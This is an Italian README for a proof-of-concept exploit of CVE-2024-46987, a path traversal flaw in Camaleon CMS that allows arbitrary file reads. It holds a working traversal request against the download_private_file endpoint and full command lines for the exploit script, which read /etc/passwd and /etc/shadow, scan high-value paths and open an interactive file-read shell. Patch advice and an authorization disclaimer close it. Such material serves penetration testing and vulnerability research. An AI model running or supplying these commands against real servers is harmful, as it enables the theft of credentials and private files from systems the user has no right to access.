
PoC exploit per CVE-2024-46987 — Camaleon CMS: attraversamento arbitrario del percorso (lettura di file)
Solo per valutazioni di sicurezza autorizzate, test di penetrazione e ricerca educativa.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2024-46987 |
| Prodotto | Camaleon CMS |
| Versioni | >= 2.8.0, < 2.8.2 (confermato anche su 2.9.0) |
| Tipo | Path Traversal / Lettura Arbitraria di File (CWE-22) |
| Autenticazione | Richiesta (qualsiasi account con privilegi bassi) |
| CVSS | 7.7 Alta — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Corretto in | 2.8.2 |
MediaController#download_private_file passa params[:file] non sanitizzato a fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
Non viene applicata alcuna normalizzazione del percorso prima che il valore venga utilizzato con send_file, consentendo a un attaccante autenticato di uscire dalla directory private/ utilizzando sequenze ../ e leggere file arbitrari a cui il processo Rails ha il permesso di accedere.
Endpoint vulnerabile:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requestspip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| Flag | Descrizione |
|---|---|
-u | URL di base del target |
-U / -P | Nome utente e password CMS |
--cookie | Stringa di cookie grezza (alternativa alle credenziali) |
-f | Percorso del file da leggere (predefinito: /etc/passwd) |
-d | Profondità di attraversamento — numero di ../ anteposti (predefinito: 10) |
--interesting | Itera su una lista predefinita di percorsi di alto valore |
--interactive | Shell interattiva per la lettura di file |
--no-verify | Disabilita la verifica del certificato TLS |
--debug | Output verboso per diagnosticare errori di autenticazione |
/procI file sotto /proc/self/ (ad es. environ, cmdline) restituiscono HTTP 200 ma un corpo vuoto. Questo è previsto — il kernel riporta la loro dimensione come 0, quindi send_file di Rails non trasmette nulla. Utilizza invece file regolari.
Aggiorna Camaleon CMS alla versione 2.8.2 o successiva. La patch aggiunge una corretta normalizzazione del percorso e garantisce che il percorso risolto rimanga all'interno della directory prevista prima di chiamare send_file.
In alternativa:
...Questo proof-of-concept è pubblicato a scopo educativo e per assistere i professionisti della sicurezza nella comprensione e riproduzione della vulnerabilità in ambienti di test autorizzati. L'autore non è responsabile per qualsiasi uso improprio. Ottieni sempre un'autorizzazione esplicita scritta prima di testare sistemi che non possiedi.